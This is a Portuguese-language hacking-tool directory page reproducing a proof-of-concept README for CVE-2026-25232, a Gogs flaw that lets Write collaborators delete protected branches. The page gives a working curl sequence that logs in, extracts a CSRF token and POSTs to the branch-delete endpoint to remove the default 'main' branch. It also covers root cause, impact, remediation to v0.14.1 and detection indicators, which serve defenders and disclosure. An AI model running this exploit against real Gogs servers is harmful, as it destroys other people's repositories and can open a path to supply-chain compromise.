Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/h1sok444/cve-2026-25232-poc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubh1sok444/cve-2026-25232-poc

CVE-2026-25232-PoC

Prova de conceito para o recente CVE-2026-25232, que é uma vulnerabilidade de escalonamento de privilégios presente no Gogs.

Ver Repositório
14há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25232 — Bypass de Exclusão de Branch Protegida no Gogs (Escalonamento Write → Admin)

Visão Geral

CampoDetalhes
CVECVE-2026-25232
ProdutoGogs (Go Git Service)
Versões Afetadas<= 0.13.4
Versão Corrigida0.14.1
Pontuação CVSSMédia
CWECWE-863: Autorização Incorreta
Autenticação NecessáriaSim (permissões de Write em um repositório)
ImpactoEscalonamento de privilégios de Write → operações de nível Admin

Descrição

CVE-2026-25232 é uma vulnerabilidade de bypass de controle de acesso na interface web do Gogs. Ela permite que qualquer colaborador de repositório com permissões de Write exclua branches protegidas — incluindo a branch padrão — enviando uma requisição POST direta ao endpoint DeleteBranchPost, contornando completamente os mecanismos de proteção de branch.

A causa raiz é uma discrepância entre como a camada de Git Hook e a interface web aplicam a proteção de branch:

  • Git Hooks (SSH): Bloqueiam corretamente a exclusão de branches protegidas via operações de push SSH
  • Interface Web: A função DeleteBranchPost não aciona os Git Hooks, portanto a verificação de proteção nunca é executada

Isso permite que um colaborador de baixo privilégio realize operações que deveriam ser restritas apenas aos administradores do repositório.


Pré-requisitos

  • Uma conta registrada no Gogs
  • Permissões de Write em um repositório alvo
  • Branches protegidas configuradas no repositório alvo
  • Acesso de rede à interface web do Gogs

Prova de Conceito

Ambiente

  • Alvo: http://<TARGET>:3001
  • Conta do atacante: attacker:Password123! (permissões de Write no repositório)
  • Repositório alvo: admin/important-repo
  • Branch protegida: main (branch padrão)

Passo 1 — Verificar se a Proteção de Branch está Ativada

Confirme que a branch está protegida e não pode ser excluída por meios normais:

root@kitploit:~
# Tentativa de exclusão normal de branch via API - deve falhar
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

Resposta esperada: 403 Forbidden ou erro de proteção.


Passo 2 — Obter um Token CSRF Válido

Obtenha o token CSRF de qualquer página autenticada:

root@kitploit:~
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# Extrair token CSRF de uma página do repositório
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

Passo 3 — Bypass da Proteção via POST Direto para DeleteBranchPost

Envie uma requisição POST direta ao endpoint de exclusão de branch, contornando a verificação de proteção:

root@kitploit:~
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

A branch protegida é excluída apesar de o atacante ter apenas permissões de Write.


Passo 4 — Verificar a Exclusão

root@kitploit:~
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

A branch main não aparecerá mais na resposta.


Por Que Funciona

A função DeleteBranchPost no manipulador web do Gogs valida que o usuário está autenticado e possui acesso de Write ao repositório, mas não verifica se a branch alvo está protegida:

root@kitploit:~
HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
Verificação: O usuário está autenticado? ✓
Verificação: O usuário tem acesso de Write? ✓
Verificação: A branch está protegida? ✗ (AUSENTE)
    ↓
Branch excluída com sucesso

A camada de Git Hook que aplica a proteção de branch só é acionada durante operações de push/delete Git via SSH ou protocolo HTTP Git — não durante operações da interface web. Essa lacuna arquitetural significa que qualquer colaborador com nível Write pode realizar essa operação.


Impacto

Um colaborador malicioso com permissões de Write pode:

  • Excluir qualquer branch protegida, incluindo a branch padrão
  • Destruir a linha principal de desenvolvimento do repositório
  • Interromper pipelines de CI/CD que dependem da branch protegida
  • Fazer force-push ou recriar branches sem proteção, permitindo injeção de código em pipelines de produção
  • Escalar privilégios efetivos de Write → nível Admin para operações de gerenciamento de branches

Em ambientes onde repositórios Gogs alimentam pipelines de implantação automatizada, isso pode levar ao comprometimento da cadeia de suprimentos.


Remediação

Atualize para o Gogs v0.14.1 ou posterior. A correção adiciona verificações de autorização adequadas na função DeleteBranchPost para verificar o status de proteção da branch antes de permitir a exclusão, independentemente de como a requisição é feita.

Como mitigação temporária:

  • Restrinja o acesso de Write do repositório apenas a usuários altamente confiáveis
  • Implemente controles de acesso em nível de rede para limitar quem pode acessar a interface web do Gogs
  • Monitore logs do servidor web em busca de requisições POST inesperadas para /repos/{owner}/{repo}/branches/delete
  • Use soluções de backup externas para manter cópias das branches protegidas

Detecção

Procure pelos seguintes indicadores de exploração:

  • Requisições POST inesperadas para /<owner>/<repo>/branches/delete nos logs do servidor web
  • Branches protegidas excluídas sem atividade correspondente de Git Hook nos logs
  • Eventos de exclusão de branch por usuários que não possuem privilégios de Admin
  • Branch padrão ausente ou alterada inesperadamente

Referências

  • GitHub Security Advisory GHSA-2c6v-8r3v-gh6p
  • Gogs v0.14.1 Release
  • CWE-863: Autorização Incorreta

Aviso Legal

Este PoC é apenas para fins educacionais e testes de segurança autorizados. Não use contra sistemas para os quais você não tenha permissão explícita para testar.

Baixar ferramenta